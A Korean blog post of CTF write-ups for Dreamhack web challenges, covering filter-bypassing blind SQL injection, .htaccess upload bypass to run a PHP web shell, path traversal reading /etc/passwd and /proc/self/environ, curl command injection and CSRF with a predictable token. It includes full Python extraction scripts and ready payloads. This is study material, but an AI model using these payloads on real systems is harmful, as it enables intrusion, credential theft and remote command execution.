[CAUTION] 여름방학 스터디 - 2

4 분 소요

💡 Caution 여름방학 스터디 2회차

sql injection bypass WAF Advanced

sql injection bypass WAF Advanced

쿼리문은 다음과 같다.

image

필터링 되는 문자열은 다음과 같다.

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', 
            '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']

필터링 되는 문자열들을 사용하지 않고 blind sql injection을 사용하여 비밀번호를 알아내는 문제이다.

우선 and,or에 대한 필터링 우회는 &&,||로 우회 가능하고 필터링에서 모든 공백관련된 키워드들이 들어가 있기 때문에 쿼리문 작성시 공백이 없어야 한다.

작성한 페이로드는 다음과 같다. 비밀번호 길이가 길기 때문에 이진 탐색 알고리즘을 활용하였다.

import requests

url = "http://host3.dreamhack.games:17510/"
params = {
    'uid' : ''
}

# 비밀번호 길이

for i in range(40,50):
    payload="'||substr(uid,1,4)='admi'&&length(upw)={}#".format(i)
    params['uid'] = payload
    response = requests.get(url,params=params)
    print(i,len(response.text))
#    print(response.text)

# 비밀번호 길이는 44. 이 경우면 이진탐색

TRUE_FLAG = 'admin'
flag = ''
for idx in range(1,45):
    start,end = 0,127
    while True:
        search = ( start + end ) // 2
        payload = f"'||substr(uid,1,4)='admi'&&ascii(substr(upw,{idx},1))>{search}#"
        params['uid'] = payload

        print(params)
        response = requests.get(url,params=params)
        if(TRUE_FLAG in response.text):
            start = search
        else:
            payload = f"'||substr(uid,1,4)='admi'&&ascii(substr(upw,{idx},1))={search}#"
            params['uid'] = payload
            print(params)
            response = requests.get(url,params=params)
            if(TRUE_FLAG in response.text):
                flag += chr( search )
                print(flag)
                break
            end = search
    

sql injection bypass WAF

sql injection bypass WAF Advanced

이 문제보다 advanced 문제를 먼저 풀었다. 위의 1번 문제 코드를 그대로 사용하면 이 문제도 풀린다.

Apache htaccess

Apache htaccess

이 문제에는 파일 업로드 기능이 있다. 웹쉘을 업로드 하기 위해서 확장자 필터링이 있는지 확인해 보면 필터링 되는 확장자 명은 다음과 같다.

$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

이때 설정 파일을 보면 AllowOverride All 이 설정되어 있다. 따라서 .htaccess 파일을 업로드 하여 우회가 가능하다.

<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

   <Directory /var/www/html/>
     AllowOverride All
     Require all granted
   </Directory>
</VirtualHost>

.htaccess 파일을 다음과 같이 작성하고 서버에 올려준다.

AddType application/x-httpd-php .php8

위의 파일의 내용은 .php8 확장자 파일도 서버에서 php 파일로 처리한다는 의미이다. 이제 php 웹쉘 파일을 확장자가 .php8이 되도록 바꿔준뒤 서버에 업로드 해준다.

image

성공적으로 업로드 되었다. 해당 파일에 접근하면 웹쉘이 열린다.

image

File Vulnerability Advanced for linux

File Vulnerability Advanced for linux

우선 코드 중 다음 부분을 보면 path traversal 취약점이 존재한다.

@app.route('/file', methods=['GET'])
def file():
    path = request.args.get('path', None)
    if path:
        data = open('./files/' + path).read()
        return data
    return 'Error !'

path = ../../../../../etc/passwd 를 입력해 보면 다음과 같이 파일을 읽을 수 있다.

image

다음 단계로 진행하기 위해서 다음 코드를 보자

@app.route('/admin', methods=['GET'])
@key_required
def admin():
    cmd = request.args.get('cmd', None)
    if cmd:
        result = subprocess.getoutput(cmd)
        return result
    else:
        return 'Error !'

cmd 인자로 시스템 함수를 실행해 주는데 이때, @key_required가 설정되어 있다.

key_required()함수는 다음과 같다.

API_KEY = os.environ.get('API_KEY', None)

def key_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.args.get('API_KEY', None)
        if API_KEY and apikey:
            if apikey == API_KEY:
                return view(**kwargs)
        return 'Access Denined !'
    return wrapped_view

시스템 환경변수에 설정되어 있는 API_KEY 라는 환경변수 값을 알아야 한다.

현재 /file에서 시스템에 있는 모든 파일을 읽을 수 있으니까 /proc 디렉터리에서 환경변수를 읽을 수 있는 파일이 존재하는지 확인해 본다.

찾아보니 environ 파일이 존재하고 해당 파일에서는 환경변수를 저장하고 있었다. 따라서 /proc/self/environ을 호출하면 환경변수를 알아낼 수 있다.

image

API_KEY 값을 알아냈으므로 /admin에서 시스템 명령어 사용이 가능하다.

image

Command Injection Advanced

Command Injection Advanced

명령어 삽입 취약점 관련된 문제로 우선 escapeshellcmd()함수가 적용되어 있어서 쉘 관련된 특수문자들이 모두 차단되어 있었다.

$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
  die('http only !');
}else{
  $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
  $cache_file = './cache/'.md5($url);
  file_put_contents($cache_file, $result);
  echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
  echo '<pre>'. htmlentities($result) .'</pre>';
  return;
}

첫번째 조건인 strpos() 부분은 http://www.naver.com 같이 입력하는 것이 아닌, scheme 부분을 file:///etc/passwd같이 입력하지 못하도록 막고 있다.

우회 방법은 curl 명령어의 옵션 중 -o 옵션을 이용하여 외부 파일을 서버에 저장하도록 하는 것이다.

image

image

그러면 curl 결과가 ./cache/shell.php 파일에 저장될 것이고 이 주소로 접근하여 웹쉘 실행이 가능하다.

image

blind sql injection advanced

blind sql injection advanced

한글이 db에 저장된 조금 특별한 blind sql injection 공격이다. 이번엔 bit 연산을 이용해서 한 비트씩 db에서 데이터를 뽑아냈다.

전체 코드는 다음과 같다.

import requests

url = "http://host3.dreamhack.games:18199/"
params = {
    'uid' : ''
}

TRUE_FLAG = "exists"

# 비밀번호 길이 구하기
length=1
pw_len = 0
while True:

    payload = f"'||uid='admin'&&char_length(upw)={length}#"
    params["uid"] = payload
    print(payload)
    response = requests.get(url,params=params)

    if( TRUE_FLAG in response.text):
        pw_len = length
        print("pw_len : ",pw_len)
        break
    length+=1
    
idx = 1
flag = []
for idx in range(1,pw_len + 1):
    # 하나의 글자가 몇 byte인지 체크
    char_byte = 0     
    for i in range(1,5):
        payload = f"'||uid='admin'&&length(substr(upw,{idx},1))={i}#"
        params["uid"] = payload
        print(payload)
        response = requests.get(url,params=params)
        if( TRUE_FLAG in response.text ):
            char_byte = i
            print(f"{idx} : {char_byte}bytes")
            break
    
    bit_len = 0
    for i in range(8):
        payload = f"'||uid='admin'&&length(bin(ord(substr(upw,{idx},1))))={char_byte*8-i}#"
        params["uid"] = payload
        print(payload)
        response = requests.get(url,params=params)
        if( TRUE_FLAG in response.text ):
            bit_len = char_byte*8 - i
            print(f"{idx} : {bit_len}bits")
            break
    sub_flag = ''
    for i in range(1, bit_len + 1):
        payload = f"'||uid='admin'&&substr(bin(ord(substr(upw,{idx},1))),{i},1)=1#"
        params["uid"] = payload
        print(payload)
        response = requests.get(url,params=params)
        if( TRUE_FLAG in response.text ):
            sub_flag +='1'
        else:
            sub_flag +='0'
    

        
    flag.append(int(sub_flag,2).to_bytes(char_byte,"big").decode("utf-8"))
    print(flag)

flag_str = ''.join(flag)
print(flag_str)

image

CSRF Advanced

CSRF Advanced

csrf 취약점을 이용하는 문제로 비밀번호 변경시 취약한(예측 가능한) csrf 토큰을 사용하고 있다.

md5((username + request.remote_addr).encode()).hexdigest()

토큰을 위와같이 생성하고 있기 때문에 예측이 가능하다. admin + 127.0.0.1의 토큰을 다음과 같이 구해준다.

image

실행 결과는 다음과 같다.

7505b9c72ab4aa94b1a4ed7b207b67fb

이제 이를 이용해서 csrf 를 수행한다.

/flag 페이지에서 다음과 같이 페이로드를 건네준다.

<img src="/change_password?pw=flag&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

그러면 봇이 /vuln 페이지에서 <img src="/change_password?pw=flag&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb"> 를 수행할 것이고 봇이 /change_password 페이지에 접속하여 csrf 토큰 검증을 통과하여 admin 계정의 비밀번호가 바뀌는 csrf 공격이 수행된다.

이제 admin/flag 로 로그인 하면 다음과 같이 flag를 획득할 수 있다.

image

댓글남기기